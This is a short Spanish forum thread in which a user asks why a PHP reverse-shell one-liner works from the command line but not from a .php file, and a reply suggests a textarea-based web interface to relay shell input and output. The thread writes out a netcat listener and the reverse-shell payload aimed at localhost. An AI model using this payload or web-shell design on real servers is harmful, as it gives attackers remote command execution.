[SOLUCIONADO] Duda PHP

Iniciado por Michb, Julio 04, 2012, 06:18:20 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 04, 2012, 06:18:20 PM Ultima modificación: Mayo 20, 2015, 01:14:33 PM por Expermicid
Hola foro tengo una duda

si pongo netcat a la escucha en el puerto 5000:
netcat -l -p 5000 -vv

y en otra terminal ejecuto esto:
php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'

me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:

       
Código: php
<?php
        //NO ME FUNCIONA, No devuelve la shell
        $ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
        ?>     
 

o esto:
       
       
Código: php
//NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
        <?php
        $sock=fsockopen(127.0.0.1, 5000);
        exec("/bin/sh -i <&3 >&3 2>&3");
        ?>

necesitas manejar lo que envias y lo que te llega :D...  asi que te tocaria crear digamos un (o dos) textarea en donde se cree algo asi como una shell que muestre el resultado que recibes y que al dar enter te envie lo que escribas (mejor si 2 una para enviar y otra para recibir)...

Espero me hayas entendido ;)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte